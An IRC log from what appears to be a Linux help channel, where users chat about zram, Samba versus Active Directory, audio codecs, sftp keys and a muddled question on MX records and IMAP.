21:49 < Nexilva> Hey, ebay has the same dimm on sale for 18 buck: https://www.ebay.com/p/Samsung-PC3-12800-DDR3-1600-4-GB-SO-DIMM-1600-MHz-PC3-12800-DDR3-Memory-M471B5273CH0-CK0/215865080?iid=123153806875&chn=ps
21:49 < Nexilva> I gogoled the part #
21:49 < dgurney> Nexilva, samsung isn't bad either
21:49 < akk> I tried to upgrade with ebay RAM, and it didn't work, but I got my money back.
21:49 < Nexilva> Yeah, that's the one it came with.
21:49 < Nexilva> yeah ebay is ok. did you have to spend money on shipping back?
21:50 < Nexilva> or did the seller cover the return label?
21:50 < akk> It was covered, I didn't have to pay to ship it.
21:50 < Nexilva> fantastic.
21:50 < Nexilva> 8gb ram would be just fine. I was gonna try to get an 8gb dimm, bu that's like 90 buck
21:50 < akk> But it's a hassle, and I didn't try again, so I still have only 6G on this machine.
21:51 < Nexilva> so I can have 12gb total.
21:51 < Nexilva> But I suppose I can always use ZRAM or something.
21:51 < Nexilva> make a 4gb zram block device
21:52 < Nexilva> and with this ssd im about to buy from best buy, it should be pretty fast with a page file too when zram gets filled.
21:52 < Nexilva> or swapfile as they call it in linux. pagefile is windows terminology
21:53 < Nexilva> zram priority higher than swap
21:53 < Nexilva> anone use compressed ram?
21:53 < Nexilva> or am I just too squeezy?
21:53 < lnnb16_t> sounds sketchy
21:53 < Nexilva> at least it's better than downloadmoreram.com or soemthing :)
21:54 < lnnb16_t> what kind of compression does it use
21:54 < lnnb16_t> if one bit flips does all the memory get horribly corrupt?
21:55 < Nexilva> lz algo
21:55 < Nexilva> standard linux kernel module by standard linux kernel
21:55 < Nexilva> nothing special.
21:56 < dviola> I used zram in the past
21:56 < Nexilva> https://www.kernel.org/doc/Documentation/blockdev/zram.txt
21:56 < Nexilva> check this document
21:56 < Nexilva> it's also on debian wiki, but this doc is more verbose
21:57 < dviola> my experience with is that it works fine if you are running a few lightweight processes, it won't help you like if you want to run a game that requires 4GB of RAM and you have 2GB
21:58 < Nexilva> https://gist.github.com/hashborgir/ec70dd1317e20d89c5f56a125af40fe9#file-zram-sh you can learn from this script
21:58 < dgurney> well if someone only have 2GB in 2018, they seriously need an upgrade lol
21:58 < Nexilva> nah, just for coding/webdev etc.
21:58 < dgurney> *only has 2GB
21:58 < Nexilva> I don't do heavy compiling or anything much else.
21:58 < ayecee> zram made using firefox tolerable on a 1gb laptop i used.
21:59 < Nexilva> You can install my script as /etc/init.d/zram and then just /etc/init.d/zram star|stop etc.
21:59 < Nexilva> it also logs basic stuff, nothing fancy
21:59 < Nexilva> I think I did this right for debian, anyway
22:00 < ayecee> there's also a zram-config package for debian that does this for you
22:00 < Nexilva> original script wasn't a service.
22:00 < Nexilva> oh
22:00 < Nexilva> neat.
22:00 < ayecee> or is that just for ubuntu, dunno.
22:00 < lnnb16_t> i got seamonkey and weechat(so bloated)+xterms @ 701M
22:00 < Nexilva> I'm not an expert basher, just basic coding.
22:00 < Nexilva> I need to learn bash scripting.
22:00 < wad> So one of the architects at my workplace just made a comment: "We need to stay with Windows servers, because Linux has no good replacement for Active Directory." Is he right? I don't know much about windows, I'm more of a Linux guy. Any articles talking about this, that I could read?
22:01 < ayecee> samba is a good replacement for active directory.
22:01 < lnnb16_t> and that damn duplicate initramfs system - 220M or so
22:01 < wad> They use Active Directory for managing machines and stuff, I think. Does samba do that?
22:01 < ayecee> yes
22:01 < Nexilva> sure it does
22:02 < Nexilva> there is an open souroce implementatin of AD, I forgot the name.
22:02 < wad> I've set up Samba shares on my home network, but just to share files and printers.
22:02 < WhiteDevil> is  ayecee
22:02 < WhiteDevil> a girl or a boy ?
22:02 < Nexilva> LDAP
22:02 < ayecee> Nexilva: it's called samba
22:02 < Nexilva> iirc.
22:02 < Nexilva> not ldap?
22:02 < WhiteDevil> i am facinated with her or him
22:02 < ayecee> ldap is a component of AD
22:02 < Nexilva> *shrug*
22:02 < azarus> ldap is a standard, and it is used by AD
22:03 < WhiteDevil> AIDS is a component of no sex with condom
22:03 < Nexilva> I see.
22:03 < ayecee> if you have AD, you have ldap, but the reverse is not true
22:03 < WhiteDevil> :)
22:03 < Nexilva> apt-get install funny-manpages
22:03 < Nexilva> man condom
22:03 < Nexilva> read, laugh.
22:03 < Nexilva> :)
22:03 < azarus> ayecee: yup
22:03 < Nexilva> ok, time to hit best buy before traffic gets bad.
22:03 < Nexilva> bbs
22:04 < ayecee> samba AD plus sssd gives me centralized user/machine account management and windows GPOs, and also lets me run 3 domain controllers with 1GB ram each.
22:05 < ayecee> which would not be recommended for windows server :)
22:05 < azarus> cool! i remember playing around with samba AD
22:05 < azarus> worked in my testing environment
22:05 < azarus> but never used it in production...
22:06 < azarus> boss said "oh no, that's non-standard, scrap that idea" and then I went "ok..."
22:06 < ayecee> only real stumbling block i've had is that sysvol isn't replicated automatically, so I have to copy that myself, and really should automate it.
22:06 < dviola> azarus: don't listen to your boss
22:06 < ayecee> if we already had windows server, i think i would have just used that.
22:06 < azarus> dviola: and get fired, lol
22:06 < dviola> azarus: oh well, in that case...
22:07 < ayecee> and maybe use some linuxes as backup DC
22:07 < dviola> azarus: it sounds like a bad place to work
22:07 < azarus> dviola: nah, it's normal to follow what your boss says
22:07 < Elodin> Why would lightdm mess with my fonts, over i3?
22:07 < ayecee> sounds like a normal place to work
22:08 < Psi-Jack> Elodin: It wouldn't.
22:08 < Elodin> i3 fonts works nice when i start it with startx
22:08 < ayecee> it's great that you've got a linux wizard, but how do you replace him if he gets hit by a bus.
22:08 < azarus> dviola: what kind of place do you work at where you get to decide?
22:09 < azarus> ayecee: yup, linux/*nix wizards are hard to come by in a world of windows sysadmins
22:09 < ayecee> meanwhile, you can find someone who can manage windows AD without much effort.
22:09 < Psi-Jack> azarus: A place where the "boss" isn't technically inclined, so he hired people that are. :)
22:09 < ayecee> and without as much skill, but whatever :)
22:09 < Psi-Jack> heh
22:09 < Elodin> Psi-Jack: i was using i3 with startx and everything was nice. I tried installing lightdm and the symptoms are: fonts on i3 and also urxvt are not showing properly, like either they were not installed or not being rendered properly.
22:09 < Psi-Jack> Yeah, "What do you do?" "I do AD", "okay. What else?" "Just AD"
22:09 < azarus> "you're hired"
22:09 < ayecee> MSCADE
22:10 < dviola> azarus: I am saying that your boss should also listen to you, that's why he hired you, right?
22:10 < azarus> i'm an apprentice
22:10 < Psi-Jack> Everyone is a student, and everyone is a teacher.
22:10 < ayecee> except me. i'm an astronaut.
22:11 < DLange> Neil, is that you??!?
22:11 < ayecee> i've said too much! :o
22:11 < Psi-Jack> heh
22:12 < bls> nah, it's only collins :|
22:12 < Psi-Jack> I haven't said enough.
22:12 < ayecee> now i have to go listen to that.
22:12 < ayecee> thanks.
22:13 < Psi-Jack> Hahahaha
22:13 < Psi-Jack> I thought that I heard you laughing
22:13 < Psi-Jack> I thought that I heard you sing.
22:13 < ayecee> hah. was looking for vlan numbering best practices, and find the quote: "There are only two hard things in Computer Science: cache invalidation and naming things."
22:14 < Psi-Jack> Oi.. naming things...
22:14 < Psi-Jack> Here where I am, we name all our servers after greek or astrology. It's pretty painful, actually.
22:14 < ayecee> aiee.
22:15 < ayecee> with VMs being as cheap as they are, i've started making single-function VMs with names that reflect the function.
22:15 < ksk> Psi-Jack: thats fine, until you grow so much you run out of names :P
22:16 < Psi-Jack> Heh
22:16 < Psi-Jack> ksk: Except that what they do..... Is not clear.
22:16 < meyou^> Name everything after a character from the Foundation series
22:16 < Psi-Jack> Oh, look, that's an alert for Pisces... WTF is pisces waging war with? ;)
22:16 < azarus> i name my stuff with inconsistent naming schemes
22:17 < DLange> better than the places that invent stupid numbering schemes like L12345 for Laptops and D12345 for desktops because you care so much whether it is one or the other...
22:17 < ayecee> azarus: as is tradition
22:17 < azarus> sometimes motorbikes, somtimes their functions, whatever
22:17 < azarus> the only thing that's consistent is the inconsistence
22:18 < ayecee> maybe i'll forgo the vlans for now and stick to routing.
22:18 < bls> yeah, the purpose based names drive me nuts in shops that repurpose hardware a lot. where's the prod DB? oh, it's on web-testing-009
22:18  * DLange thinks naming a CI build host Sisyphus is a great idea
22:19 < ayecee> could apply to so many things
22:19 < meyou^> we have a client with two windows domain controllers
22:19 < meyou^> DC01 and DC1
22:19 < rolf_> Good evening. Is Fedora too difficult to use if someone is relatively new to Linux (I switched from Win 8.1 to Linux Mint ~half a year ago)? I can't tell due to lack of experience, so it would be nice if someone could offer some insight in regard to that.
22:19 < DLange> awesome!
22:19 < Psi-Jack> I name my workstation, desktop, and laptops by Norse naming. Midgaard, Valhalla, Ragnarok, and since I ran out of realms, next was Odin. ;)
22:20 < Wulf> rolf_: all linux distros are nearly the same
22:20 < bls> rolf_: once you get it installed, it's more about the WM/DE you pick than anything else
22:21 < bls> I'm boring, things just get named after their model with a number
22:22 < triceratux> rolf_: the opinions here expressed are not necessarily shared nor endorsed by me personally: https://www.dedoimedo.com/computers/fedora-28-kde.html
22:24 < Namarrgon> rolf_: install it in a vm or in parallel to mint and see how you both get along
22:24 < triceratux> rolf_: no linux is going to be perfect. fedora proves that pretty quickly
22:28 < Psi-Jack> My hovercraft is full of eels.
22:28 < Fatmeatball> stupid question: how do i install apt or apt-get when i only have busybox? i'm just using "raw" linux. (please don't ask why as my setup is even more confusing)
22:28 < bls> Fatmeatball: you get its source code, build, and install it
22:28 < Namarrgon> build it from source, like any proper lfs user
22:29 < Psi-Jack> Fatmeatball: ... Why?
22:29 < Psi-Jack> And whatsa "raw" linux?
22:29 < Fatmeatball> linux with no distro
22:29 < Fatmeatball> literally just a shell
22:30 < bls> although if you're running some oddball kernel+userland, it'll likely have lots of issues with dependencies
22:30 < Psi-Jack> ^
22:30 < Psi-Jack> Especially with busybox, since that doesn't even use glibc.
22:31 < Psi-Jack> So the most basic answer is: You don't.
22:31 < Fatmeatball> ah
22:31 < bls> Fatmeatball: are you aware of the Linux From Scratch book?
22:31 < Fatmeatball> nope
22:31 < Psi-Jack> ^
22:32 < bls> Fatmeatball: it's for people that want to do thinks like what you're attempting and tries to cover all the pitfalls of doing so
22:32 < bls> things
22:32 < Psi-Jack> Heh. Not a lotta Monty Python fans I see.
22:32 < TheNH813> Okay, how do I enable 16 bit applications ona 64 bit Linux kernel?
22:32 < kubast2> is it possible to reduce the ammount of addressable ram avalible to linux
22:32 < TheNH813> I have a old 16 bit application that used to run fine on Wine, but it's broken now.
22:32 < Fatmeatball> i suppose there are problems with trying to use linux on a nintendo 3ds (i told you it was going to be confusing)
22:33 < Wulf> TheNH813: dosbox
22:33 < Psi-Jack> TheNH813: #winehq
22:33 < TheNH813> No, it's a kernel problem.
22:33 < Fatmeatball> i know, but because 3ds i can't easily get files on it
22:33 < TheNH813> Let me check
22:34 < Psi-Jack> Fatmeatball: Yeah. That platform is not supported here. :p
22:34 < TheNH813> https://bugs.winehq.org/show_bug.cgi?id=36664
22:34 < TheNH813> Status: 	CLOSED NOTOURBUG
22:34 < sadasaulna> fwiw re the AD discussion, I went from doing only Linux admin to a job that required doing Windows stuff too and it gave me a respect for people who do Windows admin - wouldn't wish it on my worst enemy
22:34 < TheNH813> It's a bug in the kernel, and previously echo 1 > /proc/sys/abi/ldt16 worked, but that file is gone now.
22:34 < Fatmeatball> there's only one drive available to the user (sd card) and i can't even figure out the drive that linux is currently reading from
22:35 < TheNH813> I'l try #winehq though
22:35 < Psi-Jack> Yeah. Not really a Linux issue anyway. :)
22:36 < bls> there's nothing for wine to fix, but they should know how to work around the issue
22:36  * azarus is getting a Nokia 5310 tomorrow
22:37 < sadasaulna> azarus: why?
22:37 < TheNH813> Allright, thanks.
22:37 < azarus> sadasaulna: don't need an android anymore
22:37 < sadasaulna> is it my broken mind or is the 5310 the old phone from the 90s?
22:38 < ayecee> can't it be both
22:38 < sadasaulna> true
22:38 < azarus> nah, that's the 3310 or 3330
22:38 < azarus> the 5310 is also very primitive, but it doubles as a decent music player
22:38 < sadasaulna> azarus: ah ok, thats what I had in my head.
22:38 < sadasaulna> i had a 5210 back in the day they were indestructable
22:39 < azarus> it's what I would have gotten if I didn't mind carrying a mp3 player round
22:40 < sadasaulna> is this a GSM phone?  Cos the really early models had crap sound quality, it was in the days before the EFR codec
22:40 < azarus> yup
22:40  * azarus is sad the GSM network will be turned off in his country in 2020
22:40 < sadasaulna> yeah well you've probably forgotten how bad GSM pre EFR sounded
22:40 < sadasaulna> GSM has certainly been a solid system
22:40 < Psi-Jack> azarus: Hmm? What country is completely abandoning GSM?
22:40 < azarus> i really don't call people often, i only need this for emergency purposed
22:40 < azarus> purposes*
22:41 < azarus> Psi-Jack: almost every country soon
22:41 < searedvandal> I was sad when we lost the FM signals
22:41 < sadasaulna> there was a phone you could get that took AA batteries.  Stuff a couple of those Energiser lithiums in it, leave it turned off, and it would make an excellent emergency phone
22:41 < Psi-Jack> What? I'm very confused.
22:41 < sadasaulna> searedvandal: you lost FM?  Which country?
22:41 < hexoroid> is it possible to have to imap and pop3 servers under same record A
22:41 < meyou^> yes
22:42 < bls> hexoroid: yes
22:42 < searedvandal> sadasaulna, Norway. they decided we should go all digital
22:42 < meyou^> it's the most common case tbh
22:42 < hexoroid> so that way some mail goe on one server and other on the other
22:42 < sadasaulna> searedvandal: man that sucks.  They're talking about it here in the UK but the public go crazy every time its mentioned
22:42 < azarus> Psi-Jack: https://en.wikipedia.org/wiki/2G#Past_2G_networks
22:42 < Psi-Jack> Heh, turning off GSM in favor of 3G and 4G. Hmmm.. Interesting.
22:42 < sadasaulna> we like our FM, not that horribe DAB shite
22:42 < azarus> My country also wants to switch to DAB+ :(
22:42 < bls> you can run as many different services as you want on a hostname/ip address pair. DNS doesn't do anything for documenting services
22:43 < azarus> wants to turn off FM soon
22:43 < sadasaulna> and I have a ton of anlogue radios, I collect them
22:43 < Psi-Jack> Hmmm... Even T-Mobile.
22:43 < searedvandal> sadasaulna, the DAB signals isn't bad though, but require new radios for many people
22:43 < sadasaulna> if they turn off FM i will buy an FM transmitter and use high quality streams to feed it
22:43 < azarus> "Switzerland has announced its plans for a progressive digital switchover between 2020 and 2024."
22:44 < azarus> dammit
22:44 < sadasaulna> searedvandal: DAB in the UK is terrible, we have shitty bitrates, FM sounds way better
22:44 < hexoroid> bls i was curious would they split evenlz i mean not to duplicate.. i am just running out of storage on one server
22:44 < Psi-Jack> I see nothing about Japan in there.
22:44 < azarus> ah well, when 2G (GSM) will be switched off I'll probably switch to the "new" 3310 with 3G
22:45 < searedvandal> sadasaulna, I don't have a dab radio myself, so only heard it whenever I'm in a car with dab radio. it sounds different than fm, but not sure if its worse here
22:46 < sadasaulna> searedvandal: depends on what your bitrates are.  In the UK we have stations broadcasting at sometimes as low as 64kbit mono.  Most stations at 128kbit but this MP2 technology, it sounds awful compared to uncompressed FM Stereo
22:47 < sadasaulna> And DAB+ they have better AAC but then squeeze bitrate to like 48kbit
22:47 < azarus> strange that my "future" nokia 5310 has a fm radio, but my current oneplus one doesn't xD
22:47 < rolf_> Thanks for the help thus far. Hm ... so Fedoras stability seems like its somewhat of a problem, is it? Does that affect security as well?
22:47 < Psi-Jack> Heh.
22:48 < bls> rolf_: it's the typical trade-off. you can either use a distro older packages that have had more attention and bug fixes but don't have all the latest features, or you can use a distro with newer things that might be buggier
22:48 < azarus> my oneplus one would have a fm radio, but oneplus disabled it in the SOC :/
22:49 < sadasaulna> searedvandal: however in the UK we're lucky that the BBC streams all its internet audio at 320kbit AAC which is very good
22:49 < Psi-Jack> It was funny though. T-Mobile reps, one time, tried to get me to "upgrade" to their "new" One plan, from my existing, claiming I would be able to get Unlimited 3G abroad, and for an additional fee, One+, 4G. That without it, I would only get 2G. I mostly only travel to Japan, which doesn't even nave 2G. Thus, I get 3G/4G there just fine. :)
22:49 < ayecee> azarus: probably just as well, since it doesn't have an antenna for it.
22:50 < azarus> ayecee: usually, headphones work as the antenna for fm radio in phones
22:50 < azarus> well more specifically, headphone wires
22:50 < searedvandal> sadasaulna, they broadcast dab+ here which uses the he-aac v2 codec. not sure of bitrate though
22:51 < Psi-Jack> sadasaulna: Wow. Impressive.
22:51 < azarus> i reencoded all my music to AAC for my new nokia xP
22:51 < hexoroid> whats up psi jack long time its beenžgood to see you
22:52 < Psi-Jack> heh. azarus I did that for my iPhone. Flac->M4A.
22:52 < searedvandal> azarus, what, your new nokia doesn't do flac?
22:52 < azarus> searedvandal: i personally don't do flac
22:52 < Psi-Jack> searedvandal: What? Why would you put huge files on a phone? :p
22:52 < ayecee> because phones have huge storage now
22:52 < searedvandal> Psi-Jack, bragging rights.
22:53 < Psi-Jack> heh... Uhh.. Okay.
22:53 < searedvandal> I transcode whatever music I need on my phone to opus. so I'm of course just joking Psi-Jack
22:53 < azarus> opus ftw <3
22:54 < Psi-Jack> Hmm, I know nothing of opus.
22:54 < sadasaulna> opus and vorbis are very good sounding codecs.  And I hate to admit it but WMA-Pro is superb sounding codec.
22:54 < azarus> opus is a very efficient, free audio codec
22:54 < searedvandal> I used to keep flac on my phone when I sometimes did audio work on live concerts and needed to play some reference material on the PA before soundcheck
22:55 < Psi-Jack> WMA-pro is not that good, compared to vorbis.
22:55 < Jesin> My CPU0 constantly runs at over 80% usage by IRQ 16 unless I either blacklist or unload the intel_lpss_pci module. I first noticed this on Linux kernel 4.15.6 (as distributed by Arch), and the problem is still there as of Linux 4.17.5. Does anyone have any idea what might cause this? Would it make sense to report this to https://bugzilla.kernel.org/ ?
22:56 < Psi-Jack> Jesin: If its not already reported, yes.
22:56 < rolf_> bls: I guess so. Though Fedoras security features do seem quite robust, so I guess if the bugs don't break anything major or often wreaks files or leads to security risks, that trade-off seems reasonably oK.
22:57 < Psi-Jack> Heh.
22:58 < j0seph> Psi-Jack: Should we start a drinking game were we take a shot every time you say heh?
22:58 < sadasaulna> Psi-Jack: still, WMA Pro was a massive upgrade from the old WMA.  The original versions of WMA were very poor.
22:59 < sadasaulna> sadasaulna: I used to have a test track by Morcheeba that included a sound the old WMA refused to encode, it would encoded silence in those bits of the song!
22:59 < Psi-Jack> Man... A massive difference from 368 GB of FLAC to 80 GB of M4A.
22:59 < Psi-Jack> My phone of course, wouldn't even support 368 GB as it is, on its own.
23:00 < sadasaulna> its a track called "Tape Loop" by Morcheeba, and IIRC a certain bit of it used to really upset many lossy codecs.  It was a great test for performance of a codec
23:00 < Psi-Jack> sadasaulna: Original WMA wasn't bad..... It was better than MP3, in my testing.
23:00 < POJO> sadasaulna: that's really interesting
23:01 < Psi-Jack> But, drums/bass still got swallowed up in the compression, where-as Ogg Vorbis and AAC M4A, it did not.
23:01 < MadM3rlin> Hi
23:02 < sadasaulna> Psi-Jack: it really wasn't.  It was a decent effort released too early probably because MS wanted a format to compete with MP3.  In some situations it outperformed MP3 but in others it was quite poor.  They heavily optimised it for a couple of specific bitrates
23:02 < MadM3rlin> Quick PixelBook question if someone has a moment....
23:02 < MadM3rlin> Anyone know how to disable Pixelbook battery via WP and beagleterm? I read something about it needing a cable....?
23:03 < MadM3rlin> Don't understand why a special cable is needed....
23:03 < Psi-Jack> True
23:04 < Psi-Jack> MadM3rlin: is that even a Linux question?
23:04 < MadM3rlin> :\ I saw some people who work on Pixelbook are in this room from Reddit
23:05 < Psi-Jack> Uh huh.
23:06 < MadM3rlin> I'll try in #galliumos ^^ thank you
23:06 < Psi-Jack> So... No.
23:07 < MadM3rlin> Thank you anyways :)
23:07 < Psi-Jack> Not a Linux question at all. Got it. (My phone tried to text that as : fly out, instead of got it)
23:08 < sadasaulna> POJO: the thing with WMA1 is that they released many improved versions of it under the same version, the very early WMA encoder was pretty beta-quality.  I presume the developers were pushed into releasing it early/unfinished.
23:08 < Psi-Jack> And reddit, hope of all the trolls.
23:08 < POJO> sadasaulna: so the Morcheeba Tape Loop thing applies to early WMA only?
23:09 < sadasaulna> POJO: yeah, I have re-encoded it plain WMA since and it was fine.  But the original WMA codec MS released would result in silent frames for a certain portion of that track
23:09 < triceratux> ah reddit, in thee is indeed our hope. its their home too :P
23:09 < POJO> nice
23:10 < Psi-Jack> sadasaulna: when was WMA-Pro actually made available?
23:10 < sadasaulna> i'm not sure, was it mid to late 2000s?  I remember being impressed by it and I didn't want to be given it was from MS.  Not that many devices ever supported it though?
23:11 < searedvandal> MadM3rlin, cable is needed to hook up the pixelbook to the machine running beagleterm?
23:11 < MadM3rlin> !!!!
23:11 < MadM3rlin> I don't know.
23:12 < MadM3rlin> It is counter intuitive
23:12 < sadasaulna> I've always been a huge fan of Vorbis though, it degrades so gracefully as you drop bitrate.  Sorry for spamming the channel i just love this stuff.
23:12 < MadM3rlin> since wouldn't  I run beagleterm on the pixelbook?
23:12 < jiffe> anyone know why passwordless ssh would work but not passwordless sftp with the same user/host?
23:13 < ayecee> because of your configuration
23:13 < lnnb16_t> configuration problem on the sftp server?
23:13 < ayecee> no, not of the server
23:14 < jiffe> what configuration would I want to look at?
23:14 < ayecee> should probably start with the error message.
23:14 < jiffe> there's no error, it just asks for a password when I sftp and not when I ssh
23:15 < ayecee> have you told your sftp client about which key to use
23:15 < Psi-Jack> sadasaulna: Around WMP 8 or so?
23:15 < lnnb16_t> passwordless != anonymous ?
23:15 < Jesin> Psi-Jack: it looks like my problem could be the same thing mentioned here https://bugzilla.kernel.org/show_bug.cgi?id=179991
23:15 < ayecee> lnnb16_t: correct, not equivalent.
23:15 < lnnb16_t> heh
23:15 < ayecee> lnnb16_t: also there's no anonymous sftp.
23:15 < jiffe> would it not be ~/.ssh/id_rsa ?
23:16 < ayecee> jiffe: well, is it?
23:16 < jiffe> it should be, that's what I added to authorized_keys on the remote server
23:16 < jiffe> and works with ssh
23:16 < ayecee> okay, good. is that what sftp is using?
23:16 < ayecee> one way to find out is to turn on verbose mode.
23:17 < Jesin> Psi-Jack: That bug is over a year and a half old. If I add the extra relevant info I have on my (*probably* but not necessarily the same) problem to that page, is it more likely to get noticed and dealt with?
23:17 < Psi-Jack> The more people with the problem, the more it may be noticed, yes.
23:18 < ayecee> make sure it's the exact same problem though.
23:18 < ayecee> i mean, exact.
23:18 < sadasaulna> Psi-Jack: I really can't remember.  When you get to my age and the amount of wine i've drunk, my mind is a bit burned out :(
23:18 < ayecee> so often people put info about bugs that kinda sorta look the same into unrelated tickets.
23:18 < Psi-Jack> Surgical-level exact.
23:18 < Psi-Jack> sadasaulna: You wine too much. :)
23:18 < ayecee> it would be better to create a fresh ticket and let it be closed as a duplicate if it's the same.
23:19 < sadasaulna> Psi-Jack: its a progressive disease :)
23:19 < sadasaulna> hands up those in the channel over 40 years old?
23:19 < Psi-Jack> sadasaulna: Hope you got a good rate on your insurance.
23:19 < Psi-Jack> :)
23:19 < sadasaulna> Psi-Jack: NHS
23:19 < leonardus> what's the (number) in parenthesis people put after a command? e.g. "bash(1)"
23:19 < Psi-Jack> sadasaulna: Heh. Almost over that hill.
23:20 < Psi-Jack> sadasaulna: NHS?
23:20 < DLange> leonardus: the section of the man pages that the specific page is in
23:20 < sadasaulna> or did you mean car insurance?
23:20 < sadasaulna> I don't have health insurance, we have NHS
23:20 < DLange> see man 1 bash in this case
23:20 < Psi-Jack> Progressive, is an insurance company. hehe
23:20 < Psi-Jack> Ahhhh
23:20 < Psi-Jack> That's car, home, etc.
23:20 < leonardus> DLange: ooooh, thank you
23:21 < sadasaulna> its funny, i get cheaper insurance on a 350hp RX7 than I do on a 1.2 litre 80hp Corsa
23:21 < Psi-Jack> wut? LOL
23:21 < ayecee> they'll probably pay you less for the rx7 if you wrap it around a tree
23:22 < Psi-Jack> Hmmmm.. I think it's time to go home.... And take a nap.
23:22 < sadasaulna> ayecee: RX7 FD3 worth a lot of money now
23:22 < ayecee> /shrug
23:22 < ayecee> doesn't mean they'll pay you a lot of money though
23:23 < sadasaulna> true
23:23 < sadasaulna> thankfully i've never had to claim
23:23 < hexoroid> if i have multiple mail.domain.com  mail exchange with priortiy levels different would phone email client in this case MyMail retrive mails from both servers.. imap of course is what i am talking about
23:23 < Psi-Jack> sadasaulna: Question is... Did you knock on wood after you said that?
23:23 < ayecee> hexoroid: mx records are not used for retrieving email.
23:23 < DLange> nothing more relaxing than sleeping in the office, Psi-Jack
23:23 < sadasaulna> Psi-Jack: I already crashed my RX7, just didn't claim.  Luckily I didn't hit anyone.
23:24 < Psi-Jack> heh, I can think of many things more relaxing than sleeping in the office.
23:24 < hexoroid> dove is but thez have to read from the server tho server has prioritz level
23:24 < ayecee> can you do those things in the office?
23:24 < DLange> you need a more cozy office. And overtime payment.
23:24 < ayecee> hexoroid: try again. i can't decrypt that.
23:25 < Psi-Jack> I don't get overtime pay, but I do get paid by the minute of work, which can go over standard 40h.
23:25 < hexoroid> so i was just wondering would they both pull the data not onlz from one server
23:25 < ayecee> hexoroid: imap servers don't have priority level.
23:25 < ayecee> smtp servers do, via mx records.
23:26 < ayecee> hexoroid: is your keyboard broken or are you just typing faster than your fingers can go?
23:26 < hexoroid> so it would pull from both servers then
23:26 < ayecee> sure, round-robin dns
23:26 < Psi-Jack> heh
23:27 < hexoroid> no just in europe cant cant used to this keyboard
23:27 < Psi-Jack> cant cant?
23:27 < ayecee> those funky european keyboards
23:28 < Psi-Jack> Somehow european keyboards makes you type extra words, and use z instead of s, and etc?
23:28 < ayecee> z instead of y
23:28 < hexoroid> yeah its wierd
23:28 < ayecee> azerty
23:28 < azarus> mine is qwertz
23:28 < ayecee> ah
23:28 < ayecee> didn't know that was a thing
23:28 < hexoroid> not y and z but right side where c and d are wierd
23:28 < lnnb16_t> what colour is it, brushed aluminium?
23:29 < hexoroid> black ibm
23:31 < azarus> my swiss keyboard is nice for all sorts of things, like typing german: "öäüÄÖÏß" and french: "éàèêÊ..."
23:31 < azarus> other stuff? meh
23:31 < Jesin> Thanks. Gotta go for now. I'll update that bug report soon.
23:32 < rolf_> Good night.
23:32 < hehehe> hello iam good
23:32 < hehehe> who else is good here? :)
23:33 < hehehe> btw if github rep is deleted maybe I can find it in some archive?
23:33 < ayecee> we are all good on this blessed day
23:33 < n-iCe> hi
23:34 < hexoroid> ayecee i understand MX records were used because there was a need for SMTP traffic to user@domain to be routed differently to other traffic for that domain
23:34 < searedvandal> hehehe, not really a Linux issue, but you'll need to contact github support for that.
23:35 < hexoroid> i was just curious if i make multiple mx records with priority different would mobile phone pull from both servers. Apperantly it does
23:35 < ayecee> but not because of mx records
23:35 < phinxy> I have a hard drive failing with corrupt segments.  I will install an OS on another hard drive but for now I just want to download a 5GB file.  Is there any way to tell the XFS filesystem to disregard broken segments and not put data there?
23:35 < ayecee> because the phone doesn't retrieve mail using mx records
23:36 < notmike> I don't believe in banning.
23:36 < ayecee> i'm not fond of him either.
23:36 < hexoroid> yeah i said it wrong my bad i was looking at priority levels and was thinking when smart phone tries to pull the mail if it would only select one server but it does grab from both tho
23:36 < ayecee> ah, that's bannon.
23:36 < ayecee> hexoroid: it does not use mx records at all.
23:38 < hexoroid> smtp does but it does have priority level even when it sends it will pick one with lower number first
23:38 < ayecee> your phone doesn't use smtp to get mail
23:38 < hexoroid> but when smart phone reads mail it will grab from both servers
23:39 < hexoroid> it reads from the server \
23:39 < sadasaulna> hexoroid: round robin maybe, but that is not same as MX priority
23:39 < ayecee> your phone is using CNAME or A records. Not MX records.
23:39 < hexoroid> phone do at least outlook saves to pc but still keeps it on the server
23:40 < sadasaulna> hexoroid: wut?
23:40 < ayecee> must be that european keyboard again
23:40 < hexoroid> no imap saves mail on the server
23:40 < sadasaulna> yes, we know this
23:41 < sadasaulna> but what is your point?
23:41 < phinxy> pages, blocks or segments.. do they all mean the same?
23:41 < sadasaulna> phinxy: no
23:41 < hexoroid> pop3 wipes but clients like mymail they read mail from the server they dont get saved on the phone
23:41 < ayecee> phinxy: obviously not, or we wouldn't use different terms
23:41 < phinxy> pages is for RAM and flash?
23:42 < sadasaulna> hexoroid: great, but what has that got to with MX records?
23:42 < hexoroid> my point is i built two mail servers one is sort of like a backup if ohter fails
23:42 < ayecee> pages is for a lot of things
23:42 < sadasaulna> hexoroid: for incoming mail, yes.  For IMAP you will need to use round robin DNS
23:42 < bls> and shared storage
23:43 < hexoroid> but priority level set in dns with lower priority will always reach to server with lower priority first
23:43 < ayecee> hexoroid: there is no priority for imap.
23:43 < phinxy> dd
23:43 < hexoroid> but they will both read mail on the phone from both servers
23:43 < ayecee> hexoroid: got a european screen too?
23:43 < sadasaulna> for SMTP only, as ayecee says their is no priority for IMAP
23:44 < bls> you're not going to be saving any space by doing this though, if that's your entire motivation
23:44 < hexoroid> yes i know but you do set priority on mx records
23:44 < bls> MX records are for SMTP, not IMAP
23:44 < ayecee> this is going in circles.
23:44 < sadasaulna> SMTP != IMAP
23:45 < hexoroid> bls how am i not going to save space.. mail will go to one server one or the other
23:45 < ayecee> XD
23:45 < ayecee> okay, this is too much.
23:45 < bls> so users do or don't get their email based on which server they connect to?
23:45 < sadasaulna> hexoroid: I suggest you learn that IMAP and SMTP are completely different protocols
23:46 < hexoroid> https://www.liquidweb.com/kb/images/mxupdate/multiple-mx-records-1.png
23:46 < sadasaulna> for SMTP MX records apply, that has zero to do with IMAP
23:47 < ayecee> at times like this i'm reminded of Poe's Law.
23:47 < sadasaulna> What MTA you running hexoroid?  And what IMAP server?  Perhaps we can start there
23:47 < ayecee> or perhaps not
23:47 < sadasaulna> indeed, or perhaps not
23:48 < hexoroid> sadasaulna exactly but you are not gonna get email multiple times you will get it once which ever picks it up first
23:48 < ayecee> this is something that thinking may cure, but apparently not dialog.
23:48 < notmike> Guys ayecee is trying to tell us a story from when she was young
23:48 < hexoroid> in this case lower priority level
23:48 < ayecee> onion on my belt yada yada
23:48 < sadasaulna> hexoroid: What MTA are you running?  And what IMAP server?
23:50 < hexoroid> smtp
23:50 < sadasaulna> lol
23:51 < sadasaulna> yeah, i thought so
23:51 < hexoroid> but what does have to do with having two servers
